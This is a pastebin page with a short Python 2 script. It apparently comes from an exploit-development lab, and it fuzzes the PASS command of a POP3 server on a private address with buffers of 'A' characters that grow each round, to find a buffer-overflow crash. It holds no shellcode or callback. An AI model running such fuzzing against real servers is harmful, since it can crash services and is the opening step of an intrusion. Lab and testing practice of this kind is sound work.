Author: Not specified Language: python
Description: Not specified Timestamp: 2017-09-06 23:33:09 +0000
View raw paste Reply
  1. #!/usr/bin/python
  2. import socket
  3.  
  4. buffer=["A"]
  5. counter = 100
  6. while len(buffer) <= 30:
  7.         buffer.append("A"*counter)
  8.         counter = counter + 200
  9.  
  10. for string in buffer:
  11.         print "Fuzzing PASS with %s bytes" %len(string)
  12.         s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  13.         connect=s.connect(('10.11.12.104',110))
  14.         s.recv(1024)
  15.         s.send('USER tesrt\r\n')
  16.         s.recv(1024)
  17.         s.send('PASS ' + string + '\r\n')
  18.         s.send('QUIT\r\n')
  19.         s.close()
  20.  
View raw paste Reply